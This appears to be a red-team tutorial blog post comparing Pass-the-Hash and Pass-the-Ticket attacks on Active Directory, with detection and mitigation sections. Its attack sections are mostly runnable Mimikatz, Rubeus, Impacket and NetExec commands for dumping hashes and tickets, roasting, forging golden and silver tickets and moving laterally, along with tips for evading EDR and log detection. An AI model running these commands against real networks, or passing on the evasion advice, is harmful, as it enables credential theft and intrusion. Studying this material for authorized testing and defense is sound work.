Pass-the-Hash vs Pass-the-Ticket: Complete Guide

Active Directory credential attacks come in two flavors that confuse people constantly: Pass-the-Hash (PtH) and Pass-the-Ticket (PtT). Both let you authenticate as another user without knowing their plaintext password. But they work on completely different protocols, hit different defenses, and fail in different ways.

This guide covers how each attack actually works under the hood, when to reach for one vs the other, how defenders detect them, and how red teamers stay ahead of detection.

The Core Difference

Pass-the-Hash: How It Works

Windows NTLM authentication is a challenge-response protocol. When a client authenticates to a server:

1. Client sends username
2. Server sends a random 8-byte challenge
3. Client responds with HMAC-MD5(NT_hash, challenge) — the NTLMv2 response
4. Server verifies the response

The critical detail: the NT hash IS the credential. Windows never checks whether you know the plaintext — it only checks whether your hash produces the correct challenge response. That’s the vulnerability.

Getting the NT Hash

You need local admin or SYSTEM on a target. With that, you can dump hashes from LSASS:

# Mimikatz on-target
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

# Remote dump via Impacket (if you have creds already)
secretsdump.py domain/user:password@target_ip

# NetExec bulk dump
nxc smb 192.168.1.0/24 -u admin -p 'Password123!' --sam

The output you care about looks like this:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::

The NT hash is the last field: 8846f7eaee8fb117ad06bdd830b7586c. The LM hash (middle) is irrelevant in modern environments — it’s always the same empty hash filler.

Using the NT Hash

Once you have the hash, you authenticate as that user without cracking it:

# NetExec — SMB lateral movement
nxc smb 192.168.1.50 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c --exec-method atexec -x "whoami"

# Impacket — interactive shell
psexec.py -hashes :8846f7eaee8fb117ad06bdd830b7586c [email protected]

# Impacket — WMI execution
wmiexec.py -hashes :8846f7eaee8fb117ad06bdd830b7586c [email protected]

# Mimikatz — inject hash into current session
mimikatz # sekurlsa::pth /user:Administrator /domain:CORP /ntlm:8846f7eaee8fb117ad06bdd830b7586c /run:cmd.exe

The sekurlsa::pth command spawns a new process (cmd.exe) with the stolen identity injected into its logon session. Every network connection that process makes will authenticate using the hash.

PtH Limitations

• Kerberos-only environments: If the target is configured to reject NTLM (rare but increasing), PtH fails completely
• Protected Users group: Members cannot authenticate via NTLM — PtH is dead against them
• Local account quirks: With domain accounts, PtH works broadly. Local accounts require the target to have the same local account name and hash (which is common with default configs or reused passwords)
• Credential Guard: Protects LSASS from direct memory access — makes hash dumping significantly harder

Pass-the-Ticket: How It Works

Kerberos is the default authentication protocol in Active Directory environments. Instead of passwords or hashes sent over the network, Kerberos uses tickets — encrypted tokens issued by the Domain Controller.

The Kerberos flow:

1. User authenticates to the KDC (DC) with their password hash → receives a Ticket Granting Ticket (TGT)
2. When accessing a service, the client presents the TGT to the KDC and requests a Service Ticket (TGS)
3. The client presents the TGS to the target service
4. Service decrypts the TGS with its own key → authentication complete

PtT steals either the TGT or a specific TGS and reuses it. The ticket proves identity. The DC already signed it. No password needed.

Getting Tickets

From memory (requires admin on target):

# Mimikatz — dump all tickets
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export

# Rubeus — dump all tickets
Rubeus.exe dump /nowrap

# Rubeus — dump for specific user
Rubeus.exe dump /user:administrator /nowrap

Tickets save as .kirbi files or base64 blobs. Each ticket is time-limited (default 10 hours for TGT).

From AS-REP Roasting (no auth required): If an account has “Do not require Kerberos preauthentication” set:

# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt

# Rubeus
Rubeus.exe asreproast /nowrap

This gives you an AS-REP blob that you crack offline — not a direct ticket, but the cracked password lets you request a TGT.

Via Kerberoasting (any domain user):

# Get TGS for SPNs — crack offline
Rubeus.exe kerberoast /nowrap
nxc ldap dc01 -u user -p pass --kerberoasting output.txt

Using the Ticket

# Mimikatz — load .kirbi into current session
mimikatz # kerberos::ptt Administrator.kirbi

# Rubeus — load base64 ticket
Rubeus.exe ptt /ticket:<base64_blob>

# Impacket — use ticket directly
export KRB5CCNAME=/tmp/Administrator.ccache
psexec.py -k -no-pass domain.local/[email protected]

After loading, the ticket is in your current session’s memory. klist confirms it’s loaded. You can now access resources as that user until the ticket expires.

Golden Tickets

The nuclear option. If you’ve compromised the domain (have the krbtgt hash), you can forge TGTs that never expire for any user:

# Mimikatz — create golden ticket
mimikatz # kerberos::golden /user:FakeAdmin /domain:corp.local /sid:S-1-5-21-XXXXXX /krbtgt:KRBTGT_HASH /ptt

# Impacket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-XXXXXX -domain corp.local FakeAdmin

Golden tickets bypass the normal TGT issuance flow. Since they’re signed with the krbtgt key (which you stole), every service in the domain will accept them as valid. The only remediation is rotating the krbtgt hash twice.

Silver Tickets

Less powerful but stealthier. Instead of forging a TGT (which only the KDC can verify), you forge a TGS for a specific service using that service’s account hash:

# Forge a CIFS service ticket for \\dc01\share
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXXXXX /target:dc01.corp.local /service:cifs /rc4:SERVICE_ACCOUNT_HASH /ptt

Silver tickets don’t touch the DC — there’s no AS or TGS request. That makes them harder to detect but limits them to one service on one host.

PtH vs PtT: When to Use Which

Use Pass-the-Hash when:

• You have NT hashes but no live session to dump tickets from
• You’re moving laterally across workstations quickly (SMB is convenient)
• Kerberos isn’t available or the environment uses NTLM fallback
• You’re targeting local admin accounts (domain Kerberos doesn’t help with local auth)

Use Pass-the-Ticket when:

• You need to access services that require Kerberos (certain SQL, Exchange, web services)
• You want to impersonate a specific domain user with their full domain context
• You’ve compromised a high-value account and want to use their TGT for further access
• You’re going for a Golden Ticket after full domain compromise

Practical red team workflow: Most engagements start with PtH for initial lateral movement (fast, easy with NetExec), then pivot to Kerberos attacks (Kerberoasting, PtT, Golden Tickets) as you move up the privilege chain toward domain dominance.

Detection: What Blue Teams Look For

Pass-the-Hash Detection

Event ID 4624, Logon Type 3 with NTLM auth: When NTLM is used for network logon, defenders watch for:

• Admin accounts authenticating via NTLM (should be Kerberos in modern environments)
• Logon events from unusual source IPs or at unusual hours

Event ID 4776 — NTLM authentication attempt: Every NTLM authentication generates this on the DC (for domain accounts) or locally. Mass NTLM auth from one host = lateral movement signature.

Anomalous process spawning: sekurlsa::pth spawns a process with a different logon session than the parent. EDR tools correlate process creation to logon events — a mismatch is a detection signal.

Detection evasion tips:

• Use Kerberos where possible instead of NTLM
• Blend into normal business hours
• Avoid authenticating to every host on the subnet (NxC with --no-bruteforce)
• Use legitimate-looking process names for spawned processes

Pass-the-Ticket Detection

Event ID 4768 (TGT request) and 4769 (TGS request):

• Golden Ticket use produces 4768/4769 with the forged user attributes — but since the ticket is pre-forged, the DC sees a valid Kerberos TGT and issues a TGS without unusual signals
• Defender trick: check PAC validation — Golden Tickets often have mismatched attributes (e.g., old ticket with new SID values)

Event ID 4627 — Group membership evaluation: When the forged ticket claims group memberships that don’t exist in AD, this can trigger on PAC validation failures.

Abnormal Kerberos encryption types: Old tools generate RC4-encrypted tickets. Modern environments use AES256. A high-value account suddenly using RC4 is a detection signal. Use /aes256 flags in Mimikatz/Rubeus when possible.

Ticket anomalies:

• Tickets for non-existent users (Golden Ticket with fake username)
• Tickets with lifetimes that don’t match domain policy
• Service tickets requested without a corresponding TGT (Silver Ticket)

Practical Lab Setup

Want to practice these attacks safely? You need an isolated AD lab:

Minimum setup:

• Windows Server 2019/2022 (DC)
• Windows 10/11 (workstation)
• Kali Linux (attacker)

For cloud-based practice without the hardware overhead, a VPS works well. Vultr lets you spin up Windows instances on-demand — deploy for a lab session, destroy when done, pay only for what you use. DigitalOcean is another solid option with similar pricing.

HTB Machines for practice:

• Active — Classic Kerberoasting to PtH chain
• Sauna — AS-REP Roasting with domain escalation
• Forest — AS-REP + DCSync full chain
• Monteverde — Azure AD credential attacks

Tools Reference

Mimikatz

The original. Still the most comprehensive. But also the most detected — it’s the most-signatured tool in Windows security history.

Use obfuscated versions, reflective loading, or invoke-Mimikatz for OPSEC-sensitive engagements. Direct disk execution of mimikatz.exe will light up every modern EDR.

Rubeus

Pure .NET Kerberos toolkit. More granular than Mimikatz for Kerberos operations, better OPSEC. Preferred for:

• Kerberoasting
• AS-REP Roasting
• Ticket manipulation
• S4U abuse

Impacket

Python-based. Runs from Linux without any Windows tooling. Core tools for PtH/PtT:

• secretsdump.py — remote hash dumping
• psexec.py, wmiexec.py, smbexec.py — authenticated execution
• GetNPUsers.py, GetUserSPNs.py — Kerberos enumeration
• ticketer.py — Golden/Silver ticket creation

NetExec (nxc)

The modern CrackMapExec successor. Best for bulk operations:

• Multi-host hash spraying
• Domain-wide enumeration
• Module ecosystem for specific attacks

Mitigations

If you’re on the blue side (or writing the report):

Against Pass-the-Hash:

• Enable Credential Guard — isolates LSASS from direct memory access
• Add high-privilege accounts to Protected Users group — disables NTLM auth entirely
• Disable NTLM authentication (block via GPO where possible)
• Implement LAPS for local admin accounts — unique passwords per host eliminate hash reuse
• Enable Windows Defender Credential Guard
• Monitor and restrict debug privileges (SeDebugPrivilege)

Against Pass-the-Ticket:

• Enable PAC validation (validate-pac-requests KDC option)
• Use AES256 for Kerberos (deprecate RC4/DES in domain functional level settings)
• Rotate krbtgt password every 180 days (requires two rotations)
• Restrict service account permissions — minimize Kerberoastable SPNs with admin access
• Monitor for ticket anomalies with Microsoft Defender for Identity or Sentinel

Further Reading

For deeper coverage of the offensive playbook — how these attacks chain together in real engagements — The Hacker Playbook 3 covers the full red team methodology including credential attacks, lateral movement, and domain dominance.

Related guides on RedTeamGuide:

• BloodHound Complete Guide: AD Attack Path Mapping
• Kerberoasting Attack: How It Works and How to Exploit It
• NetExec (CrackMapExec) Complete Guide 2026
• Active Directory Lateral Movement: Full Playbook (coming Jul 18)

Summary

Both attacks exploit the fundamental design of their respective protocols — NTLM and Kerberos don’t verify that you know a password, they verify that you possess the right cryptographic material. Pass-the-Hash and Pass-the-Ticket prove that possession.

Need professional security content for your organization? CipherWrite delivers expert-level cybersecurity articles, guides, and technical documentation.